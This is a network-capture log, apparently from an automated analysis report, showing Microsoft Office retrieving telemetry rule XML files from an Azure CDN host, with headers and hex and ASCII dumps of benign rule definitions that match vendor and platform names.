20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201221Z-178bfbc474bbbqrhhC1NYCvw740000000540000000008z5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201221Z-15b8b599d88wn9hhhC1TEBry0g00000003bg00000000mdwd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201221Z-178bfbc474bpscmfhC1NYCfc2c00000003dg00000000ntb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:23 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:24 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201224Z-178bfbc474bwh9gmhC1NYCy3rs000000050g00000000ae6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:24 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:23 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:24 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201224Z-178bfbc474b9fdhphC1NYCac0n00000004yg0000000037dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:24 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:23 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201224Z-174c587ffdftjz9shC1TEBsh9800000003c0000000000rus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:23 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201224Z-178bfbc474bbbqrhhC1NYCvw74000000050g00000000h2he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:23 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201224Z-15b8b599d88s6mj9hC1TEBur30000000039g000000005d31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c42a731b-b01e-0098-7820-3dcead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201226Z-178bfbc474bv7whqhC1NYC1fg400000004vg00000000m994 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:26 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201226Z-174c587ffdfx984chC1TEB676g00000003d000000000bmr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:12:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:26 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:26 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201226Z-174c587ffdf7t49mhC1TEB4qbg000000037000000000qctw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:26 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:26 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 08f1c18c-e01e-0003-40fe-3c0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201226Z-15b8b599d88cn5thhC1TEBqxkn00000003a0000000008td0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
